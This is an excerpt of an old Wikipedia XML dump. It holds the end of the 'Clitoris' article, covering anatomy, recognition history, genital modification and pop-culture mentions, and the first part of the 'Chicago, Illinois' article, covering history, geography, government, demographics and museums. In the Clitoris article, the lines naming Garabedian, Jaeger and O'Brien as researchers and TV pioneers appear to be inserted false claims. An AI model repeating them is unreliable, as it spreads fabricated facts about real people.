[[Image:HumanVulva-NewText-PhiloViv.jpg|thumb|220px|{{{demo}}}|A photograph of the human vulva, with the clitoris obscured by the clitoral hood and folds of the labia minora.]]&lt;!-- This image has been the subject of much controversy. Change or remove it at your own risk. (As of 9th Sept 2005, updated to an image with the same photo but new text)--&gt;
The female clitoris corresponds to [[homologous]] parts of the [[male]] [[penis]], i.e., [[embryology|embryologically]] it comes from the same tissue that forms the penis. The trigger for forming a penis instead of a clitoris is the action of [[testosterone]] ''[[in utero]]''.

The organ is formed out of [[corpus cavernosum]], a rich collection of [[capillary tissue]] with a substantial presence of [[nerve tissue]]. It contains roughly the same number of nerve endings as the penis[http://www.mypleasure.com/education/qanda/questions/1093.asp], and it is particularly well-suited for [[sexual stimulation]]. 

The outside portion of the clitoris, the ''[[clitoral glans]]'', is entirely or partially covered by the ''[[clitoral hood]]'' or ''[[prepuce]]'', tissue that is homologous to the [[foreskin]] in males and beneath which [[smegma]] is formed and may collect. In humans, the [[clitoral body]] then extends several [[centimetre|centimeters]] upwards and to the back, before splitting into two arms, the ''[[clitoral crura]]''. Shaped like an inverted &quot;V&quot;, these crura extend around and to the interior of the [[labia majora]]. Including external and internal components, it is thought the clitoris is similar in size to the penis.

Most of the clitoris is hidden, and external stimulation of the entire clitoris can result in a more profound sexual response.  There is considerable variation among women with regard to how much of the clitoris protrudes from the hood and how much is covered by it, ranging from complete, covered invisibility to full, protruding visibility.  One explanation advanced for the [[vaginal orgasm]] is that it results from stimulation of the internal parts of the clitoris during vaginal penetration.  Nevertheless, some women experience both clitoral and vaginal orgasms and distinguish between them in terms of both the physical and general sensations associated with each.

During sexual arousal, the clitoris enlarges as its [[erectile tissue]] fills with [[blood]]. Shortly before [[orgasm]], this erection often increases further, drawing the clitoris upwards, so that viewed from the outside it actually appears to shrink.

== Recognition of existence ==

[[:Category:Medical journals|Medical literature]] first recognised the existence of the clitoris in the [[16th century]]. This is the subject of some dispute: [[Realdo Colombo]] (also known as Matteo Renaldo Colombo) was a [[lecturer]] in [[surgery]] at the [[University of Padua]], [[Italy]], and in [[1559]] he published a book called ''De re anatomica'' in which he described the &quot;seat of woman's delight&quot;. Colombo concluded, &quot;Since no one has discerned these projections and their workings, if it is permissible to give names to things discovered by me, it should be called the love or sweetness of [[Venus (mythology)|Venus]].&quot;

Colombo's claim was disputed by his successor at [[Padua]], [[Gabriele Falloppio]] (who discovered the [[fallopian tube]]), who claimed that he was the first to discover the clitoris. [[Caspar Bartholin the Younger|Caspar Bartholin]], a [[17th century]] Danish [[anatomy|anatomist]], dismissed both claims, arguing that the clitoris had been widely known to [[medicine|medical science]] since the [[2nd century]].[http://www.doctorweevil.org/archives/000470.html]

Noted researchers [[Masters and Johnson]], [[Boston, Massachusetts|Boston]] based researcher [[John Garabedian]], and Dr. [[Matt Jaeger]] at the [[University of Kentucky]] all conducted extensive studies of the clitoris. 

In the [[1970s]], the word ''clitoris'' was considered offensive in the spoken [[English language]] and is still seen as a [[taboo]] word by many people. The first use of ''clitoris'' on [[television]] in the [[United States]] is believed to have been by Dr. [[Rich O'Brien]], a [[Harvard]] colleague of Garabedian's, on the [[Ruth Westheimer|Dr. Ruth Westheimer]] show.

== Body modification ==

''Main article: [[genital modification and mutilation]]''

The external part of the clitoris may be partially or totally removed during [[female circumcision]] (also known as a clitorectomy) in voluntary or involuntary procedures. The topic is highly controversial with many countries condemning the traditions that give rise to involuntary procedures with some countries outlawing even voluntary procedures. [[Amnesty International]] estimates that over 2 million involuntary female circumcisions are being performed every year, mainly in [[Africa]]n [[Africa#Countries|countries]].

In various cultures, the clitoris is sometimes [[Clitoris piercing|pierced directly]]. Other piercings may include a [[Clitoral hood piercing]] and the [[Isabella piercing]], among many others. Some cultures at various times in history have practiced stretching, which can enlarge the clitoris, or can make it more visible.

== Popular culture ==

*In the ''[[Seinfeld]]'' episode &quot;The Junior  Mint&quot;, [[Jerry Seinfeld]] does not remember his new girlfriend's name - he is only given the clue that it rhymes with a female body part. George's guesses of &quot;Mulva&quot; and &quot;Bovary&quot; are off the mark, but it finally comes to him: &quot;Dolores.&quot;
*[[Alice Walker]]'s ''Possessing the Secret of Joy'' is a book about a tribal African Woman, Tashi, who because of a misguided loyalty to the customs of her people voluntarily submits herself to tsunga's knife and is circumcised. She is severely traumatized by this experience. The book encapsulates her journey through life as she tries to regain her ability to recognize her own reality and to feel.
*''The Anatomist'' (1998), a novel by [[Federico Andahazi]]  ISBN 0385494009, describes [[Realdo Colombo]]'s &quot;discovery&quot; and its personal consequences.
*In a ''[[Family Guy]]'' episode, [[Tom Tucker]] announces an upcoming report on &quot;the Clitoris, nature's [[Rubik's Cube]].&quot;
*An Australian motor sports television show ([[In Pit Lane]] on [[Channel 31]] Melbourne) occasionally carries news stories about motor sports events that have occurred in the United States, where the exact location is unknown or cannot be found out in the limited time before broadcast.  These events are described as having taken place in &quot;Clitoris, Missouri&quot;.  This is a ribald reference to the previous point.
*In the ''[[Red Dwarf]]'' episode Polymorph from season 3, Rimmer suggest that the crew name themselves &quot;The Committee for the Liberation and Integration of Terrifying Organisms and their Rehabilitation Into Society&quot;, the only drawback being that the abbreviation is &quot;CLITORIS&quot;.
*In the Kevin Smith movie ''[[Jay and Silent Bob Strike Back]]'', the characters Jay and Silent Bob are supposedly the leaders of the Coalition for the Liberation of Itinerent Tree-dwellers, or &quot;CLIT&quot;.
*In ''[[South Park: Bigger, Longer, and Uncut]]'', [[Stan Marsh]] goes in search of &quot;The Clitoris&quot; to ask her for help with [[Wendy Testaburger]] after [[Chef (South Park character)|Chef]] mentions the name.  Near the end he finds the clitoris, which is a giant pink shining blob. She tells him to be courageous and to be himself.

== See also ==
*[[Wiktionary:WikiSaurus:clitoris|WikiSaurus:clitoris]] &amp;mdash; the [[Wiktionary|WikiSaurus]] list of synonyms and slang words for the clitoris in many languages
* [[Glans penis]]
* [[Clitoromegaly]]
* [[G-spot]]
* [[Skene's gland]]s
* [[Female circumcision|Clitoridectomy]]
* [[Clitoral hypertrophy]]
* [[:Image:VulvaDiagram-800.jpg]]

== External links ==

* [http://www.the-clitoris.com/ The-Clitoris.com] &amp;ndash; a very thorough website about everything related to the clitoris  Warning - site contains explicit photos
* [http://www.luckymojo.com/tkclitorislarger.html Study claims clitoris is larger than thought] by Althaea Yronwode
*[http://www.scarleteen.com/body/female_anatomy.html Pink Parts] - &quot;Walk through&quot; of female sexual anatomy by noted sex activist and educator Heather Corinna (illustrations; no explicit photos)

=== Illustrations ===

* [http://www.the-clitoris.com/n_html/n_netter.htm The Ciba Collection of Medical Illustrations: Vol.2, Reproductive System] by Frank H. Netter, M.D. comparing female and male reproductive systems development and anatomy
* [http://www.the-clitoris.com/n_html/n_anat_a.htm Illustrations from Clinical Anatomy Principles] by Lawrence H. Mathers, Jr. et al. comparing clitoris and penis anatomy
* [http://www.the-clitoris.com/n_html/n_develop.htm Development of the Female Sexual &amp; Reproductive Organs] &amp;ndash; illustrations comparing clitoris and penis during the early development
{{reproductive system}}

[[Category:Organs]]
[[Category:Reproductive system]]
[[Category:Gynecology]]
[[Category:Female reproductive system]]

&lt;!-- The below are interlanguage links. --&gt;

[[als:Klitoris]]
[[ca:Clítoris]]
[[cs:Klitoris]]
[[da:Klitoris]]
[[de:Klitoris]]
[[es:Clítoris]]
[[fr:Clitoris]]
[[gd:Brillean]]
[[gl:Clítoris]]
[[id:Klitoris]]
[[he:דגדגן]]
[[it:Clitoride]]
[[lt:Varputė]]
[[hu:Csikló]]
[[nl:Clitoris]]
[[ja:陰核]]
[[no:Klitoris]]
[[pl:Łechtaczka]]
[[pt:Clítoris]]
[[ru:Клитор]]
[[sr:Клиторис]]
[[sv:Klitoris]]
[[th:ปุ่มกระสัน]]
[[tr:Klitoris]]
[[uk:Клітор]]</text>
    </revision>
  </page>
  <page>
    <title>Chicago, Illinois</title>
    <id>6886</id>
    <revision>
      <id>42150085</id>
      <timestamp>2006-03-04T03:42:53Z</timestamp>
      <contributor>
        <ip>68.79.23.45</ip>
      </contributor>
      <comment>/* Sports */</comment>
      <text xml:space="preserve">{{Infobox City |official_name = Chicago, Illinois
|nickname = [[List of nicknames for Chicago|The Windy City]]
|motto = Urbs In Horto ([[Latin]]: &quot;City in a Garden&quot;), &quot;I Will
|website = http://egov.cityofchicago.org/
|image_skyline = Chitown jc01.jpg
|image_flag = Municipal Flag of Chicago.svg
|image_seal = ChicagoSeal2.png
|image_map = US-IL-Chicago.png
|map_caption = Location in [[Chicagoland]]
|subdivision_type = [[Countries of the world|Country]]&lt;br&gt;  [[Political divisions of the United States|State]]&lt;br&gt;  [[List of counties in Illinois|Counties]]
|subdivision_name = [[United States]]&lt;br&gt;[[Illinois]]&lt;br&gt;[[Cook County, Illinois|Cook]] and [[DuPage County, Illinois|DuPage]]
|leader_title = [[Mayor]]
|leader_name =  [[Richard M. Daley]] ([[Democratic Party (United States)|D]])
|area_magnitude = 1 E8
|area_total = 606.1
|area_land = 588.3
|area_water = 17.8
|population_as_of = 2004
|population_total = 2,862,244
|population_metro = 9,391,515
|population_density = 4,923.0
|timezone = [[Central Standard Time Zone|UTC]]
|utc_offset = -6
|timezone_DST = [[Central Daylight Time|CDT]]
|utc_offset_DST = -5
|latd = 41
|latm = 54
|lats = 00 
|latNS = N
|longd = 87
|longm = 39
|longs = 00
|longEW = W
|footnotes = &lt;table border=&quot;0&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; style=&quot;margin: 0 0 0 0;  background: #f9f9f9;&quot;&gt;
&lt;tr&gt;&lt;td&gt;'''Founded'''&lt;/td&gt;&lt;td&gt;1795&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Incorporated'''&lt;/td&gt;&lt;td&gt;1833&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
}}
{{redirect|Chicago}}
'''Chicago''', known as the &quot;[[Second city|Second City]]&quot;, the &quot;Windy City&quot;, and &quot;Chi-town&quot; (the [[Potawatomi]] who used to live in the area before white settlers arrived called the [[marshes]] on which Chicago was later built &quot;Checagou&quot;, which translates to &quot;wild onion&quot; or &quot;garlic&quot;), is the [[List of United States metropolitan statistical areas by population|third-largest city]] in population in the [[United States]], following [[New York City]] and [[Los Angeles, California|Los Angeles]]. Chicago is located in the [[Midwestern United States|Midwestern]] [[U.S. state|state]] of [[Illinois]] along the southwestern shore of [[Lake Michigan]]. When combined with its [[suburbs]] and nine surrounding counties in Illinois, [[Wisconsin]], and [[Indiana]], the greater [[metropolitan area]] known as [[Chicagoland]] encompasses a population of nearly 10 million people.  

Growing from its 1833 founding as a [[frontier]] town of the [[Old Northwest]] into one of the world's premier cities, Chicago is ranked as one of 10 &quot;Alpha&quot; (most influential) world cities by the [[Global city|Globalization and World Cities Study Group &amp; Network]]. Chicago was the site of the [[Home Insurance Building|world's first skyscraper]], and today is the financial, transportation, and cultural capital of the [[Midwest]]. Chicago also leads the country in the number of conventions hosted annually. The city has long been known around the world as a financial, industrial, and transportation center and for its ethnic diversity. Chicago's skyscrapers, local cuisine, political traditions, and sports teams are some of its most recognized symbols. A variety of [[List of nicknames for Chicago|colloquial nicknames]] reflect Chicago's unique character. 

A resident of Chicago is referred to as a '''Chicagoan'''. There is some ambiguity regarding the suburbs - some residents call themselves &quot;Chicagoans&quot; and identify with the central city, while others rarely deal with or visit the central city. Typically, residents of Chicago will identify themselves with one of the many neighborhoods of Chicago. For an excellent map of the neighborhoods of Chicago, see [http://www.seanparnell.com/Chicago/Chicago%20Neighborhood%20Map.htm this map].

About one-third of central-city Chicagoans are [[Caucasian]], another third [[African American]], around a quarter [[Hispanic]] and one-tenth [[Asian]], with small amounts of other groups filling in the remainder. Chicago also has several dozen distinct neighborhoods to match its ethnic diversity; the city is divided into 77 official [[Community areas of Chicago|community areas]].

==History==
{{main|History of Chicago}}

During the mid-1700s, the Chicago area was inhabited primarily by [[Potawatomi]]s, who took the place of the [[Miami tribe|Miami]] and [[Sac and Fox Nation|Sauk and Fox]]. The first non-native settler in Chicago was [[Jean-Baptiste Pointe du Sable]], a [[Haiti]]an of [[Africa]]n descent, who arrived in the 1770s, and whose heritage was much talked about after 1950. In 1803, the U.S. Army built [[Fort Dearborn]]; in 1812 it was destroyed in the [[Fort Dearborn Massacre]] . 
===Incorporation and growth===
[[Image:chicago lit.jpg|thumb|290px|Chicago, looking North from State and Washington Streets]]
On [[August 12]], [[1833]], the Town of Chicago organized with a population of 350. Within seven years a flood of new arrivals from New England and other points east gave the town a population of over 4,000. Chicago incorporated on [[March 4]], [[1837]] when the State of Illinois granted Chicago a [[Municipal charter|city charter]]. Thus began the next step in what would become massive early growth. Many factors contributed to that growth but early on the most important aspects could be attributed to Chicago's geographic proximity in an expanding nation. The city was the logical transportation link between eastern and western United States, using the Great Lakes and the river systems, and (after 1850) the railroads.  The opening of the [[Illinois and Michigan Canal]] in 1848 allowed shipping from the [[Great Lakes]] through Chicago to the [[Mississippi River]]. The first rail line to Chicago, the [[Galena &amp; Chicago Union Railroad]], was completed the same year. These projects foreshadowed Chicago's eventual development into the transportation hub of the United States. 

[[Image:Home Insurance Building.JPG|thumb|150px|left|The [[Home Insurance Building]] in Chicago, the world's first skyscraper.]]
The [[geography of Chicago]] presented early citizens with many problems, including transportation and [[sewage]]. These problems were rectified by several large public works projects.

By 1890, Chicago was the second largest city in the United States, after [[New York City]]. Chicago had grown to 1.1 million people in less than sixty years.

The [[1860 Republican National Convention]] in Chicago nominated home-state candidate [[Abraham Lincoln]] for U.S. president, and was the first of twenty-five in the city.

===Great Chicago Fire===
{{main|Great Chicago  Fire}}
In 1871, most of the city burned in the [[Great Chicago Fire]]. By this time the city had a population of over 300,000. Due to the fire much of the city needed to be rebuilt; this gave city planners a clean slate to fix the problems of the past. In the following years, [[Chicago architecture]] would become influential throughout the world. The first [[skyscraper]] in the world was constructed in 1885 using novel [[steel]] [[skeleton]] construction.

Other tragic fires have plagued Chicago.  602 persons died in the [[Iroquois Theater Fire|Iroquois Theater fire]] in 1903.  The LaSalle Hotel fire in 1946 claimed the lives of 61 guests.  In 1958 a [[Roman Catholic Church|Roman Catholic]] elementary school, [[Our Lady of the Angels School Fire|Our Lady of the Angels]], burned 18 minutes before the end of the school day, killing 92 children and three teaching nuns.

===20th century===
[[Image:StateStreetc1907.jpg|thumb|250px|State Street circa 1907]]
[[Lake Michigan]] &amp;mdash; the primary source of fresh water for the city &amp;mdash; was already highly polluted from the rapidly growing industries in and around Chicago, a new way of procuring clean water was needed. The city embarked on a large tunnel excavation project and began building tunnels below Lake Michigan to newly built [[water crib]]s. The water cribs were two miles (three kilometers) off the shore of Lake Michigan. The cribs failed to bring enough clean water because spring rains would wash the polluted water from the [[Chicago River]] into them. In 1900 this problem was solved by reversing the direction of the River's flow with the construction of the [[Chicago Sanitary and Ship Canal]] leading to the [[Illinois River]]. Fifteen years later, the ''[[Eastland]]'', a large passenger ship, capsized in the river and sank with 841 deaths.

Prohibition in Chicago is known nationally as the era of gansters such as [[Al Capone]]; in actuality the 1920s saw a large increase in industry in the city as well as the first arrivals of the [[Great Migration]] that would lead thousands of mostly Southern blacks to Chicago and other Northern cities.

On [[December 2]], [[1942]], the world's first controlled [[nuclear reaction]] was conducted at the [[University of Chicago]] as part of the top secret [[Manhattan Project]].

Mayor [[Richard J. Daley]] was elected in 1955, in the era of so-called [[political machine|machine politics]]. During Daley's tenure (he died in office in 1976), the [[1968 Democratic National Convention]] was held in Chicago, four major expressways were built, [[McCormick Place]] (the nation's busiest convention hall) was constructed, the [[Sears Tower]] became the [[world's tallest building]] and [[O'Hare Airport]] (which later became the world's busiest airport) was constructed. 1979 saw the election of the city's first female mayor, [[Jane Byrne]]. Four years later in 1983, [[Harold Washington]] became the first [[African American]] to be elected to the office of mayor. [[Richard M. Daley]], son of [[Richard J. Daley]], became mayor in 1989. One new development under the younger Daley has sparked debate, the destruction of the city's vast [[public housing]] projects. 

Starting in the 1950s, many upper- and middle-class citizens left the inner-city of Chicago for the [[suburb]]s, and the city itself shrank by nearly 700,000, leaving many impovershed neighborhoods in their wake. However, since the early 1990s, Chicago has seen a turnaround from the decline common to American cities following [[World War II]]. Many formerly abandoned neighborhoods are starting to show new life and the city's diversity has grown with larger percentages of ethnic groups such as Asians and Hispanics. In the 1990s alone, Chicago gained 113,000 new inhabitants.

[[Image:Chicago_Skyline_at_Sunset.png|750px|center|]]

==Geography==
{{main|Geography of Chicago}}
[[Image:Chicago.landsat.750pix.jpg|left|thumb|200px|[[USGS]] Landsat Image]][[Image:Chicago River from Michigan Ave.jpg|right|thumb|200px|Chicago River from Michigan Ave.]]
Chicago is located in northeastern Illinois at the southwestern tip of [[Lake Michigan]]. It sits on the [[continental divide]], at the site of the [[Chicago Portage]], connecting the [[Mississippi River]] and the [[Great Lakes]] [[watershed]]s

When Chicago was founded in the 1830s most of the early building began around the mouth of the [[Chicago River]]. According to the [[United States Census Bureau|U.S. Census Bureau]], Chicago has a total area of 606.1 [[square kilometre|km²]] (234.0 [[square mile|mi²]]), of which 588.3 km² (227.1 mi²) is land and 17.8 km² (6.9 mi²) is water.  The total area is 2.94% water. The city has been built on relatively flat land; the average height of land is 579 feet (176 meters) above sea level. The city lies beside Lake Michigan and two rivers, the Chicago in downtown and the [[Calumet River|Calumet]] in the industrial far South Side, entirely or partially flow through Chicago. The [[Chicago Sanitary and Ship Canal]] connects the Chicago River with the [[Des Plaines River]], which runs to the west of the city.

===Climate===
{{main|Climate of Chicago}}

Chicago is known as a city of climate extremes. While winters can often be bitterly cold, extreme summer heat waves are not uncommon. Chicago has a [[continental climate]] typical of the [[U.S. Midwest]], with hot summers and cold winters, subject to possible extremes in both seasons. [[Lake Michigan]] can have a moderating effect for neighborhoods close to the shoreline, keeping them cooler in summer and slightly warmer in winter; but also producing a '[[lake effect]]' of snowfall in winter. Average high and low temperatures for July are 84&amp;nbsp;&amp;deg;F/63&amp;nbsp;&amp;deg;F (29 °C/17 °C), and for January it is 29&amp;nbsp;&amp;deg;F/13&amp;nbsp;&amp;deg;F (-2 °C/-11 °C). Weather typical of each season can sometimes arrive unusually early or late, for example, the highest recorded temperature in March was 84&amp;nbsp;&amp;deg;F (29 °C) and the lowest in September was 37&amp;nbsp;&amp;deg;F (3 °C). Summers have been known to bring different elements in a one day period; ranging from bright sunny mornings, to partly-cloudy and rainy ''early'' afternoons, to bright sunny ''late'' afternoons, to comfortable evenings.

[[Image:ChicagoWinter1.jpg|thumb|right|200px|Chicago in winter]]
Chicago's yearly precipitation averages about 36 inches (914 mm). Summer is the rainiest [[season]], with short-lived [[rain]]fall and [[thunderstorm]]s more common than prolonged rainy periods[http://www.crh.noaa.gov/lot/?n=CHI_summer_precip]. The highest temperature ever reached in Chicago was 104 °F (40 ­°C).

[[Winter]] in Chicago is a variable and fickle season. Temperatures and snowfall can vary widely in the span of one to two weeks, and extended periods of temperatures below 32 °F (0 °C) are not uncommon in January and February. Temperatures can sometimes drop below 0 °F (-18 °C) overnight and then rise by the next morning. This frigid weather doesn't normally last more than 1-3 days at a time. Although rare, the temperature can climb to 50 °F (10 °C) or higher in winter.

Contrary to popular belief, Chicago is not called the &quot;Windy City&quot; because of its high winds,... it actually has to do with the &quot;windiness&quot; of 19th century politicians. Nevertheless, the [[wind]] has a strong hold on Chicago's popular imagination. There's even a nickname for the city's legendary gusts: &quot;The Hawk.&quot;
[[Lou Rawls]] brought The Hawk to national attention in his song Dead End Street:&lt;br&gt;
:''I was born in a city they called the Windy City''&lt;br&gt;
:''And they call it the Windy City because of The Hawk.''&lt;br&gt;
:'' All mighty Hawk.''&lt;br&gt; 
Several U.S. cities, among them [[New York City]], [[Boston]], and [[Dallas, Texas|Dallas]], have higher average annual wind speeds than Chicago, according to the National Climatic Data Center [http://www.nbierma.com/language/column/windy/windy-ncdc.htm].

===Geology===
Since the first recorded [[earthquake]] in 1804 [http://www.isgs.uiuc.edu/isgshome/chicago_quakes.htm], Chicago has occasionally experienced earthquakes. More recently, an earthquake with an epicenter in [[Ottawa, Illinois]] registering about 4.3 on the [[Richter scale]] shook some buildings in Chicago on [[2004 Chicago Earthquake|June 28, 2004]]. This earthquake sparked worries that the [[New Madrid fault]] might become active again. An earthquake of 6 or higher in the Missouri [[Geologic fault|Fault]] might cause moderate to high damage in Chicago.

==Law and government==
{{main|Law and government of Chicago}}

[[Image:Chicagocityhall.jpg|thumb|right|300px|[[Chicago City Hall]].]]
Chicago is the largest city and the [[county seat]] of [[Cook County, Illinois|Cook County]]. 
The government of the City of Chicago is divided into [[executive (government)|executive]] and [[legislative]] branches. The mayor is the [[Chief Executive Officer|chief executive]], elected by general election for a term of four years. The mayor appoints commissioners and other officials who oversee the various departments. The current mayor is [[Richard M. Daley]], a Democrat. In addition to the mayor, Chicago's two other citywide elected officials are the clerk and the treasurer.
The [[Chicago City Council|City Council]] is the legislative branch and is made up of [[Chicago aldermen|50]] [[alderman|aldermen]], one elected from each [[ward (politics)|ward]] in the city.  The council enacts local [[ordinance]]s and approves the city [[budget]]. Government priorities and activities are established in a budget ordinance usually adopted each November.  The council takes official action through the passage of ordinances and resolutions.

===Politics===
Former Chicago Mayor [[Richard J. Daley]] once led a [[political machine]] called the [[Chicago Democratic Machine]]. Another point of interest is the party leanings of the city. For much of the last century, Chicago has been considered one of the largest [[Democratic Party (United States)|Democratic]] strongholds in the [[United States]]. For example, the citizens of Chicago have not elected a [[Republican Party (United States)|Republican]] mayor since 1927, when [[William Hale Thompson|William Thompson]] was voted into office. Today, only one [[alderman]] is Republican. The city is also well known for [[Political corruption|corruption]] in many levels of government, for example the [[Hired Trucking Scandal]].

Chicago's politics lean famously to the [[Left-wing politics|left]] compared to the rest of the [[Midwest]], and it is often said that Chicago is the &quot;[[East Coast of the United States|East Coast]]&quot; of the Midwest. [[Social liberalism]] is strong in the city, with a strong majority of Chicagoans supporting [[welfare (financial aid)|welfare]] programs and the [[pro-choice]] movement. In 2004, Mayor [[Richard M. Daley]] rejected a proposal to legalize [[same-sex marriage]] in the city. The issue was controversial especially in [[Illinois]], since the state is arguably the most varied in terms of [[liberalism|liberal]] [[urban area|urban areas]] vs [[Conservatism|conservative]] [[rural]] areas. In partisan elections, such as for the [[State Legislature]] and [[U.S. Congress]], most elections are won by Democrats, such as the landslide win of [[Barack Obama]] in 2004.

===Law enforcement===
[[Image:Chicago police car horiz.jpg|thumb|right|300px|A Chicago police car]]
The [[Chicago Police Department]], also known as the CPD, is the principal law enforcement agency of Chicago, under the jurisdiction of the mayor. It is the largest [[police]] department in the [[Midwest]] and the second largest in the nation (with 13,619 sworn officers and 2,625 other employees covering 234 square miles as of 2003), and one of the oldest organized police forces in the world. By comparison, Los Angeles, the nation's second largest city, has just over 9,000 sworn officers covering 469 square miles.

There are twenty-five police districts, each led by a commander. Each commander oversees a network of administrative and operational departments that include patrol officers, detective forces, and other investigative units. Commanders report to the superintendent of police who in turn is subject to the authority of the [[List of mayors of Chicago|mayor of Chicago]].

====See also====
*[[Chicago City Hall]]
*[[List of Chicago city departments]]
*[[List of mayors of Chicago]]
*[[Municipal Flag of Chicago]]
*[[Chicago City Council]]
*[[Chicago Police Department]]
*[[Chicago Fire Department]]
*[[Sister Cities of Chicago]]
*[http://library7.municode.com/gateway.dll/IL/illinois/7539?f=templates&amp;fn=default.htm&amp;npusername=13322&amp;nppassword=MCC&amp;npac_credentialspresent=true&amp;vid=default Municipal Code of Chicago]

==People and culture==
===Demographics===
{{main|Demographics of Chicago}}
{| class=&quot;wikitable&quot; style=&quot;float:right; margin-left:3px; text-size:80%; text-align:right&quot;
|align=center colspan=3| '''City of Chicago &lt;br&gt;Population by year [http://www.census.gov/population/www/documentation/twps0027.html]'''
|-
|Year || Population
|Rank
|-
|1840 || 4,470
|92
|-
|1850 || 29,963
|24
|-
|1860 || 112,172
|9
|-
|1870 || 298,977
|5
|-
|1880 || 503,185
|4
|-
|1890 || 1,099,850
|2
|-
|1900 || 1,698,575
|2
|-
|1910 || 2,185,283
|2
|-
|1920 || 2,701,705
|2
|-
|1930 || 3,376,438
|2
|-
|1940 || 3,396,808
|2
|-
|1950 || 3,620,962
|2
|-
|1960 || 3,550,404
|2
|-
|1970 || 3,366,957
|2
|-
|1980 || 3,005,072
|2
|-
|1990 || 2,783,726
|3
|-
|2000 || 2,896,016
|3
|}

People living in Chicago are called &quot;Chicagoans.&quot; The [[metropolitan area]] is referred to as &quot;Chicagoland&quot; therefore the term is also sometimes applied colloquially to those living in one of the neighboring communities.

As of the 2000 [[census]], there are 2,896,016 people, 1,061,928 households, and 632,909 families residing in the city of Chicago proper. A 2006 estimate puts the city's population at over 3 million. This encompasses about one-fifth of the entire population of the state of [[Illinois]] and 1% of the population of the [[United States]]. The [[population density]] is 4,923.0/km² (12,750.3/mi²). There are 1,152,868 housing units at an average density of 1,959.8/km² (5,075.8/mi²). The racial makeup of the city is 36.39% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 31.32% [[White (U.S. Census)|White]], 26.02% [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]], 4.33% [[Asian American|Asian]] and [[Pacific Islander (U.S. Census)|Pacific Islander]], 1.64% from two or more races, 0.15% [[Native American (U.S. Census)|Native American]], and 0.15% from [[Race (U.S. Census)|other races]]. For changes between the 1990 and 2000 census, see [http://www.chicagoneighborhoods.cc/chicago-demographics.html].

[[Image:Millenium Park Fountain 3.jpg|thumb|left|165px|Children playing in Chicago's Millennium Park]]
The city itself makes up 23.3% percent of the total population of Illinois, down from a high of 44.3% in 1930.

Chicago's unique [[culture]] arises from it being a [[melting pot]], with nearly even percentages of [[whites|Caucasian]]s and [[African-American]]s and a sizeable [[Hispanic]] minority. 

The main [[European]] ethnic groups in Chicago are the [[Irish-American|Irish]], [[German-American|Germans]], [[Italian-American|Italians]] and [[Polish-American|Polish]]. Chicago has a large Irish-American population on its [[Neighborhoods of Chicago|South Side]]. Many of Chicago's politicians have come from this population, including current mayor [[Richard M. Daley]]. Chicago has the largest population of [[Swedish-American]]s of any city in the US, numbering 123,000. After the [[Chicago Fire]], many Swedish carpenters helped to rebuild the city, which is why it is sometimes called ''the city the Swedes built''.

Today, Chicago has the largest ethnically [[Polish people|Polish]] population outside of [[Poland]], making it one of the most important [[Polonia]] centers. [[Polish cuisine|Polish food]] and customs have melted into the culture of the city. Chicago is also considered to be the second-largest [[Serbian]] and [[Lithuania|Lithuanian]] city in the world, and the third largest [[Greeks|Greek]] city after [[Melbourne]], [[Australia]]. The city also has the country's largest [[Assyrians|Assyrian]] population, numbering as many as 80,000 and is the location of the seat of the head of the [[Assyrian Church of the East]], [[Mar Dinkha IV]].

The Chicago Metropolitan area is also becoming a major center for [[Indian-American]]s and [[South Asian]]s. Chicago has the third largest South Asian population in the country, after [[New York City]] and [[San Francisco, California|San Francisco]]. The Devon Avenue corridor on Chicago's north side is an example of this, as it is one of the largest [[South Asian]] neighborhoods in [[North America]].

There are 1,061,928 households, of which 28.9% have children under the age of 18 living with them, 35.1% are [[Marriage|married couples]] living together, 18.9% have a female householder with no husband present, and 40.4% are non-families. Of all households, 32.6% are made up of individuals and 8.7% have someone living alone who is 65 years of age or older. The average household size is 2.67 and the average family size is 3.50.

Of the city population, 26.2% are under the age of 18, 11.2% are from 18 to 24, 33.4% are from 25 to 44, 18.9% are from 45 to 64, and 10.3% are 65 years of age or older.  The [[median]] age is 32 years.  For every 100 females there are 94.2 males.  For every 100 females age 18 and over, there are 91.1 males.
The median income for a household in the city is $38,625, and the median income for a family is $42,724. Males have a median income of $35,907 versus $30,536 for females. The [[per capita income]] for the city is $20,175. Below the [[poverty line]] are 19.6% of the population and 16.6% of the families. Of the total population, 28.1% of those under the age of 18 and 15.5% of those 65 and older are living below the [[poverty line]].

===Museums and galleries===
[[Image:John G Shedd Aquarium Chicago 040724.jpeg|thumb|right|300px|The [[Shedd Aquarium]].]]
In 1998, the City of Chicago officially opened the [[Museum Campus Chicago|Museum Campus]], a 10 acre lakefront park surrounding three of the city's main museums, the [[Field Museum of Natural History]], the [[Shedd Aquarium]] and the [[Adler Planetarium]]. The Museum Campus was constructed on the southern section of [[Grant Park (Chicago)|Grant Park]]. The construction project involved re-routing [[Lake Shore Drive|Lakeshore Drive]] to make room for the new park. Grant Park is also home to Chicago's other major downtown museum, the [[Art Institute of Chicago]]. Some other major museums and galleries of the Chicago area include:

*[[Adler Planetarium]] and Astronomy Museum, 1300 S. Lake Shore Dr.
*[[Art Institute of Chicago]], 111 S. Michigan Ave. One of the premier art museums in the United States. Famous pieces include ''American Gothic'' by [[Grant Wood]], and [[Sunday Afternoon on the Island of La Grande Jatte|''A Sunday Afternoon on the Island of La Grande Jatte'']] by [[Georges Seurat]]. The Museum is partnered with The School of the Art Institute of Chicago.
*[[Chicago Cultural Center]] ''([http://www.ci.chi.il.us/Tourism/CultureCenterTour/ Home Page])'', 78 E. Washington St. Built in 1897 as Chicago's first [[public library]], the building now houses the city's Visitor Information Center, galleries, and exhibit halls. The ceiling of Preston Bradley Hall includes a 38-foot [[Louis Comfort Tiffany|Tiffany glass]] dome. 
*[[DuSable Museum|DuSable Museum of African-American History]], 740 East 56th Place.  Displays many artifacts of many well known [[African-Americans]] and rich history.
*[[Field Museum of Natural History]], 1400 S. Lake Shore Dr., Chicago's natural history museum. Highlights include Sue, the largest ''[[Tyrannosaurus rex]]'' skeleton in the world as well as a great, kids-friendly [[Ancient Egyptian|Egyptian]] exhibit.
*[[Mexican Fine Arts Center Museum]], 1852 West 19th St., a museum dedicated to [[Culture of Mexico|Mexican]], [[Latino]] and [[Chicano]] art and culture.
*[[Museum of Contemporary Art, Chicago|Museum of Contemporary Art]], 220 E. Chicago Ave. Art of all types from around the world made since 1945.
